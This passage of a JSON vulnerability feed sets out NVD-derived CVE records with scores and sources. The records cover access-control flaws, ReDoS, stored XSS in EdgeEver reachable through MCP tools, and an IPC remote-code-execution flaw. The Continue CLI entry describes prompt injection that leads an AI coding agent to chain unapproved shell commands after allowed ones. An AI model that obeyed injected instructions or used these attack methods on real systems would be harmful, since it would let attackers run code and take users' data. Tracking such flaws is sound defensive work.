Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper access control due to a schema-less Custom Resource Definition.","summary":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper access control due to a schema-less Custom Resource Definition.","detail":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper access control due to a schema-less Custom Resource Definition.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:16.380Z","updatedAt":"2026-10-14T04:18:18.327Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18513","asOf":"2026-10-14T04:18:18.327Z"},"epss":{"probability":0.00257,"percentile":0.17155,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18513&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18513","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18513","type":"primary","publishedAt":"2026-10-12T21:17:16.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18513&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18513, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109568","cveId":"CVE-2026-109568","aliases":[],"kind":"vulnerability","title":"Shaark 1.2.13 through 1.2.44 contains a missing authorization vulnerability in the Link, Story, Chest and Album API controllers that skips ownership checks.","summary":"Shaark 1.2.13 through 1.2.44 contains a missing authorization vulnerability in the Link, Story, Chest and Album API controllers that skips ownership checks. Authenticated non-admin users can send PUT or DELETE requests to /api/{link,story,chest,album}/{id} with numeric IDs to overwrite or delete other users' content, including private items.","detail":"Shaark 1.2.13 through 1.2.44 contains a missing authorization vulnerability in the Link, Story, Chest and Album API controllers that skips ownership checks. Authenticated non-admin users can send PUT or DELETE requests to /api/{link,story,chest,album}/{id} with numeric IDs to overwrite or delete other users' content, including private items.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:13.500Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109568","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00246,"percentile":0.15702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109568&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109568","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109568","type":"primary","publishedAt":"2026-10-12T21:17:13.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109568&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109568, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109567","cveId":"CVE-2026-109567","aliases":[],"kind":"vulnerability","title":"Rapyd Admin from 9.0.0 before 9.20.0 contains an improper privilege management vulnerability in the UsersEdit Livewire component that allows users with the edit users permission...","summary":"Rapyd Admin from 9.0.0 before 9.20.0 contains an improper privilege management vulnerability in the UsersEdit Livewire component that allows users with the edit users permission to assign themselves the admin role. Attackers holding roles such as the shipped operator role can submit the admin role ID for their own account, lifting tenant scoping, bypassing per-record authorization, and enabling impersonation.","detail":"Rapyd Admin from 9.0.0 before 9.20.0 contains an improper privilege management vulnerability in the UsersEdit Livewire component that allows users with the edit users permission to assign themselves the admin role. Attackers holding roles such as the shipped operator role can submit the admin role ID for their own account, lifting tenant scoping, bypassing per-record authorization, and enabling impersonation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:13.347Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109567","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00329,"percentile":0.25823,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109567&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109567","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109567","type":"primary","publishedAt":"2026-10-12T21:17:13.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109567&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109567, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109563","cveId":"CVE-2026-109563","aliases":[],"kind":"vulnerability","title":"N3.js before 2.11.1 contains a regular expression denial of service vulnerability in the N3Lexer number pattern that backtracks quadratically on long digit runs.","summary":"N3.js before 2.11.1 contains a regular expression denial of service vulnerability in the N3Lexer number pattern that backtracks quadratically on long digit runs. Attackers can supply untrusted Turtle or N3 input containing long runs of digits that do not end a number, blocking the Node.js event loop and causing denial of service.","detail":"N3.js before 2.11.1 contains a regular expression denial of service vulnerability in the N3Lexer number pattern that backtracks quadratically on long digit runs. Attackers can supply untrusted Turtle or N3 input containing long runs of digits that do not end a number, blocking the Node.js event loop and causing denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:12.713Z","updatedAt":"2026-10-16T19:15:07.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109563","asOf":"2026-10-16T19:15:07.947Z"},"epss":{"probability":0.00346,"percentile":0.27885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109563&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109563","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109563","type":"primary","publishedAt":"2026-10-12T21:17:12.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109563&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109563, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109560","cveId":"CVE-2026-109560","aliases":[],"kind":"vulnerability","title":"Continue CLI (@continuedev/cli) through 1.5.47 contains a permission bypass vulnerability that allows attackers to run unapproved commands by chaining them after allowed Bash...","summary":"Continue CLI (@continuedev/cli) through 1.5.47 contains a permission bypass vulnerability that allows attackers to run unapproved commands by chaining them after allowed Bash prefix rules. Attackers can inject instructions into repository files or fetched pages so the agent appends commands after ;, && or | to execute code as the user.","detail":"Continue CLI (@continuedev/cli) through 1.5.47 contains a permission bypass vulnerability that allows attackers to run unapproved commands by chaining them after allowed Bash prefix rules. Attackers can inject instructions into repository files or fetched pages so the agent appends commands after ;, && or | to execute code as the user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:12.243Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109560","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00501,"percentile":0.4263,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109560&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109560","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109560","type":"primary","publishedAt":"2026-10-12T21:17:12.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109560&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109560, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109559","cveId":"CVE-2026-109559","aliases":[],"kind":"vulnerability","title":"EdgeEver Desktop 1.6.26 through 1.112.0 contains a navigation allowlist bypass that lets attackers load arbitrary origins in the main window via string-prefix URL matching.","summary":"EdgeEver Desktop 1.6.26 through 1.112.0 contains a navigation allowlist bypass that lets attackers load arbitrary origins in the main window via string-prefix URL matching. Attackers can embed a link using userinfo syntax after the dev-server prefix, for example in a note-template preview, to obtain the edgeeverDesktop bridge including session token, sidecar RPC, and ACP channels.","detail":"EdgeEver Desktop 1.6.26 through 1.112.0 contains a navigation allowlist bypass that lets attackers load arbitrary origins in the main window via string-prefix URL matching. Attackers can embed a link using userinfo syntax after the dev-server prefix, for example in a note-template preview, to obtain the edgeeverDesktop bridge including session token, sidecar RPC, and ACP channels.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:12.090Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109559","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00309,"percentile":0.23493,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109559&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109559","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109559","type":"primary","publishedAt":"2026-10-12T21:17:12.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109559&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109559, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109558","cveId":"CVE-2026-109558","aliases":[],"kind":"vulnerability","title":"EdgeEver 1.6.0 through 1.112.0 contains a stored cross-site scripting vulnerability in TemplatesPane.tsx that renders template contentMarkdown with raw HTML via...","summary":"EdgeEver 1.6.0 through 1.112.0 contains a stored cross-site scripting vulnerability in TemplatesPane.tsx that renders template contentMarkdown with raw HTML via dangerouslySetInnerHTML without sanitization. Attackers can write templates containing HTML event handlers through an API or MCP token to run script on preview and access the privileged window.edgeeverDesktop bridge.","detail":"EdgeEver 1.6.0 through 1.112.0 contains a stored cross-site scripting vulnerability in TemplatesPane.tsx that renders template contentMarkdown with raw HTML via dangerouslySetInnerHTML without sanitization. Attackers can write templates containing HTML event handlers through an API or MCP token to run script on preview and access the privileged window.edgeeverDesktop bridge.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:11.940Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109558","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00419,"percentile":0.35905,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109558&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109558","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109558","type":"primary","publishedAt":"2026-10-12T21:17:11.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109558&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109558, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109557","cveId":"CVE-2026-109557","aliases":[],"kind":"vulnerability","title":"EdgeEver through 1.112.0 contains a stored cross-site scripting vulnerability in setMemoDragPreview that allows attackers to inject script through notebook names or memo titles.","summary":"EdgeEver through 1.112.0 contains a stored cross-site scripting vulnerability in setMemoDragPreview that allows attackers to inject script through notebook names or memo titles. Attackers can set malicious names via MCP create_notebook, rename_notebook or create_memo tools, running script on drag with access to the desktop bridge's session token.","detail":"EdgeEver through 1.112.0 contains a stored cross-site scripting vulnerability in setMemoDragPreview that allows attackers to inject script through notebook names or memo titles. Attackers can set malicious names via MCP create_notebook, rename_notebook or create_memo tools, running script on drag with access to the desktop bridge's session token.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:11.790Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109557","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00419,"percentile":0.35905,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109557&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109557","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109557","type":"primary","publishedAt":"2026-10-12T21:17:11.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109557&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109557, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109556","cveId":"CVE-2026-109556","aliases":[],"kind":"vulnerability","title":"EdgeEver Desktop 1.92.0 through 1.112.0 contains a remote code execution vulnerability in the desktop:acp-probe IPC handler, which lacks a sender check and spawns a...","summary":"EdgeEver Desktop 1.92.0 through 1.112.0 contains a remote code execution vulnerability in the desktop:acp-probe IPC handler, which lacks a sender check and spawns a caller-supplied input.path executable. Attackers with script execution in a renderer, such as via template-preview or drag-preview stored cross-site scripting, can call probeAcpAdapter to launch local executables with the user's privileges.","detail":"EdgeEver Desktop 1.92.0 through 1.112.0 contains a remote code execution vulnerability in the desktop:acp-probe IPC handler, which lacks a sender check and spawns a caller-supplied input.path executable. Attackers with script execution in a renderer, such as via template-preview or drag-preview stored cross-site scripting, can call probeAcpAdapter to launch local executables with the user's privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:11.617Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109556","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00513,"percentile":0.43446,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109556&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109556","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109556","type":"primary","publishedAt":"2026-10-12T21:17:11.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109556&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109556, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109427","cveId":"CVE-2026-109427","aliases":[],"kind":"vulnerability","title":"Telegram-Stremio through 5.1.0 contains a broken object-level authorization vulnerability that allows authenticated token holders to access arbitrary chat messages by forging...","summary":"Telegram-Stremio through 5.1.0 contains a broken object-level authorization vulnerability that allows authenticated token holders to access arbitrary chat messages by forging unsigned, unauthenticated stream IDs decoded via encode_string/decode_string functions. Attackers can craft or enumerate sequential msg_id values and set a global flag in the stream_handler endpoint to route requests through the operator's personal Userbot account, exposing private channels, groups, and Saved Messages, while the unauthenticated thumb_handler endpoint further discloses thumbnails from those same chats without any token validation.","detail":"Telegram-Stremio through 5.1.0 contains a broken object-level authorization vulnerability that allows authenticated token holders to access arbitrary chat messages by forging unsigned, unauthenticated stream IDs decoded via encode_string/decode_string functions. Attackers can craft or enumerate sequential msg_id values and set a global flag in the stream_handler endpoint to route requests through the operator's personal Userbot account, exposing private channels, groups, and Saved Messages, while the unauthenticated thumb_handler endpoint further discloses thumbnails from those same chats without any token validation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:11.460Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109427","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00209,"percentile":0.10871,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109427&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109427","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109427","type":"primary","publishedAt":"2026-10-12T21:17:11.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109427&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109427, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109426","cveId":"CVE-2026-109426","aliases":[],"kind":"vulnerability","title":"Telegram-Stremio through 5.1.0 contains an insecure storage vulnerability that allows attackers with access to the MongoDB database, backups, or logs to recover the operator's...","summary":"Telegram-Stremio through 5.1.0 contains an insecure storage vulnerability that allows attackers with access to the MongoDB database, backups, or logs to recover the operator's authenticated Telegram session string, which is protected only by a keyless, reversible encoding transform rather than actual encryption. Attackers can round-trip the stored value through the repository's own decode_string function with no secret key to obtain a fully authenticated Telegram session, granting complete control of the operator's Telegram account even when two-step verification is enabled.","detail":"Telegram-Stremio through 5.1.0 contains an insecure storage vulnerability that allows attackers with access to the MongoDB database, backups, or logs to recover the operator's authenticated Telegram session string, which is protected only by a keyless, 